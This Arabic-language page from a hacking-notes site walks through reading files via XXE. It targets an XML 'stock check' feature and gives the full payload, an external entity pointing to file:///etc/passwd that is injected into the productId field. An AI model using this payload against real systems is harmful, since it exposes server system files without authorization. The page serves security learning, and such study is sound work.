> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xxe/xxe-file-read-via-external-entities.md).

# قراءة ملف XXE عبر كيانات خارجية

### استغلال XXE باستخدام الكيانات الخارجية لاسترجاع الملفات

استغل ثغرة XXE عبر تعريف كيان خارجي لاسترجاع محتوى ملف (هنا `/etc/passwd`) من **التحقق من المخزون** الميزة التي تُحلِّل XML وتُرجع قيماً غير متوقعة.

<figure><img src="/files/44985364a25db76ab1304d30a9cb2023f465d4e8" alt=""><figcaption></figcaption></figure>

ترسل الميزة XML بهذا الشكل:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/1c157742e17a769852b04430ea0ef7eff85a255d" alt=""><figcaption></figcaption></figure>

إذا كانت القيمة العددية لـ `<productId>` يتم استبدالها بسلسلة نصية، فستنعكس هذه القيمة في الاستجابة (مفيد للتشغيل):

```xml
<productId>
test
</productId>
```

<figure><img src="/files/bf1d435c3f97c176510736b4130b62ff39922b78" alt=""><figcaption></figcaption></figure>

1. أعلن عن كيان خارجي في عبارة DOCTYPE يشير إلى ملف النظام.

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. استدعِ هذا الكيان في `<productId>` الحقل الذي يُرجعه التطبيق.

```
&myFile;
```

3. يجب أن تحتوي الاستجابة بعد ذلك على محتوى الملف المستهدف (`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/0ff62ae7cfe8d9fa36aa62a0324d630abe9d57fd" alt=""><figcaption></figcaption></figure>


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